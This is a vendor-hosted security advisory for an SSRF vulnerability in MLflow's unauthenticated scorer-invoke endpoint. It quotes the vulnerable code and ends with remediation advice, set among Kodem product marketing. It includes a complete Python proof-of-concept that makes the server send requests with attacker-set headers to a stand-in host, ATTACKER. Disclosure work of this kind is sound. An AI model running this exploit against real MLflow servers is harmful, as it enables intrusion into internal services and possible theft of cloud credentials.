CVE-2026-115886

CVE-2026-115886 is a medium-severity server-side request forgery (SSRF) vulnerability in mlflow (pip), affecting versions >= 3.12.0rc0, < 3.17.0. It is fixed in 3.17.0.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

MLflow: SSRF on unauthenticated MLflow servers via third-party scorer kwargs in the scorer invoke, register, and GenAI evaluate endpoints

MLflow's tracking server exposes POST /ajax-api/3.0/mlflow/scorer/invoke with no authentication, and the handler reflectively instantiates an attacker-named class from attacker-supplied JSON with unconstrained constructor kwargs. With the optional trulens + trulens-providers-litellm packages installed, an unauthenticated attacker can force the server to make an outbound HTTP request to an arbitrary host of their choosing, carrying attacker-controlled headers (SSRF).

Details

Scorer.model_validate_json() reflects a class name from a JSON payload behind an import-path allowlist that never constrains the reflected attribute or its kwargs, in mlflow/genai/scorers/base.py:549-604:

data = serialized.third_party_scorer_data          # attacker JSON
module_path = data.get("module") or ""
class_name = data.get("class")
if not any(module_path == m or module_path.startswith(m + ".")
           for m in THIRD_PARTY_SCORER_ALLOWED_MODULES):
    raise MlflowException.invalid_parameter_value(...)
module = importlib.import_module(module_path)
scorer_class = getattr(module, class_name, None)   # attribute NOT constrained
...
init_kwargs: dict[str, Any] = dict(data.get("kwargs") or {})  # kwargs NOT constrained
...
init_kwargs["model"] = data["model"]               # attacker model URI
scorer_instance = scorer_class(**init_kwargs)      # reflective instantiation

The allowlist (mlflow/genai/scorers/scorer_utils.py:46-51) only gates the import path:

THIRD_PARTY_SCORER_ALLOWED_MODULES = frozenset({
    "mlflow.genai.scorers.ragas",
    "mlflow.genai.scorers.deepeval",
    "mlflow.genai.scorers.trulens",
    "mlflow.genai.scorers.phoenix",
})

For a mlflow.genai.scorers.trulens class, the forwarded model/kwargs reach an outbound LLM client through a routing choice the attacker controls (mlflow/genai/scorers/trulens/models.py:97-121):

backend = ScorerLLMClient(model_uri)
if backend.route == "databricks":
    return _create_databricks_provider(backend, **kwargs)
if backend.is_native:
    return _create_gateway_provider(backend, **kwargs)
try:
    from trulens.providers.litellm import LiteLLM
    litellm_model = backend.model_name
    ...
    return LiteLLM(model_engine=litellm_model, **kwargs)   # raw attacker kwargs forwarded

Only the litellm fallback branch reaches raw **kwargs; a model URI outside MLflow's native provider registry (e.g. openai:/gpt-4o) trivially routes there, and LiteLLM.__init__ forwards api_base/api_key straight into litellm.completion().

  • Route: POST /ajax-api/3.0/mlflow/scorer/invoke → _invoke_scorer_handler (mlflow/server/handlers.py:7026-7098), guarded only by @catch_mlflow_exception/@_disable_if_artifacts_only, no auth decorator.
  • Scorer.model_validate_json(serialized_scorer) (the vulnerable deserialization) runs synchronously, before any tracking-store lookup or submit_job call.
  • Precondition: the server venv must have trulens + trulens-providers-litellm installed (a documented but optional, not-bundled GenAI-eval setup).

PoC

import time
import mlflow
from mlflow import MlflowClient
import requests

TARGET = "http://TARGET:5000"           # MLflow tracking server, no auth configured
ATTACKER = "http://ATTACKER/collect"    # host the attacker controls and monitors

client = MlflowClient(tracking_uri=TARGET)

# 1. Anonymous setup: create an experiment and log a trace to obtain a trace_id.
exp_id = client.create_experiment("poc")
mlflow.set_tracking_uri(TARGET)
mlflow.set_experiment(experiment_id=exp_id)
with mlflow.start_span(name="poc-span") as span:
    span.set_inputs({"q": "hi"})
    span.set_outputs({"a": "hi"})
trace_id = span.request_id

# 2. Attack: invoke a reflected trulens scorer whose kwargs point the
#    outbound LLM client at the attacker host with an attacker-chosen
#    Authorization value (their own canary, not a server secret).
serialized_scorer = {
    "name": "poc",
    "third_party_scorer_data": {
        "module": "mlflow.genai.scorers.trulens",
        "class": "Coherence",
        "metric_name": "Coherence",
        "model": "openai:/gpt-4o",          # routes to the litellm fallback
        "kwargs": {
            "api_base": ATTACKER,
            "api_key": "ATTACKER-CANARY",   # attacker's own value, not a server secret
        },
    },
}
resp = requests.post(
    f"{TARGET}/ajax-api/3.0/mlflow/scorer/invoke",
    json={
        "experiment_id": exp_id,
        "serialized_scorer": __import__("json").dumps(serialized_scorer),
        "trace_ids": [trace_id],
    },
)
print(resp.status_code, resp.text)
time.sleep(5)  # scorer job runs asynchronously
# Attacker-controlled listener at ATTACKER receives, moments later:
POST /collect/chat/completions HTTP/1.1
Authorization: Bearer ATTACKER-CANARY
Content-Type: application/json
...

The POST .../chat/completions request landing on ATTACKER, carrying the attacker's own Authorization header, is the server-originated outbound request, no request was ever sent by the client to that host directly.

Impact

An unauthenticated attacker forces the tracking server to issue an outbound HTTP request to an arbitrary attacker-chosen host, reachable from the server's network position, including internal services or cloud-metadata endpoints, with fully attacker-controlled request headers and body. This is SSRF with header/credential injection into the server-originated request; it requires no prior authentication and no operator misconfiguration beyond having the optional trulens + trulens-providers-litellm packages installed alongside MLflow.

Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.

CVE-2026-115886 has a CVSS score of 6.5 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.17.0); upgrading removes the vulnerable code path.

Affected versions

mlflow (>= 3.12.0rc0, < 3.17.0)

Security releases

mlflow → 3.17.0 (pip)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade mlflow to 3.17.0 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-115886? CVE-2026-115886 is a medium-severity server-side request forgery (SSRF) vulnerability in mlflow (pip), affecting versions >= 3.12.0rc0, < 3.17.0. It is fixed in 3.17.0. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
  2. How severe is CVE-2026-115886? CVE-2026-115886 has a CVSS score of 6.5 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of mlflow are affected by CVE-2026-115886? mlflow (pip) versions >= 3.12.0rc0, < 3.17.0 is affected.
  4. Is there a fix for CVE-2026-115886? Yes. CVE-2026-115886 is fixed in 3.17.0. Upgrade to this version or later.
  5. Is CVE-2026-115886 exploitable, and should I be worried? Whether CVE-2026-115886 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-115886 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-115886? Upgrade mlflow to 3.17.0 or later.

Other vulnerabilities in mlflow

Stop the waste.
Protect your environment with Kodem.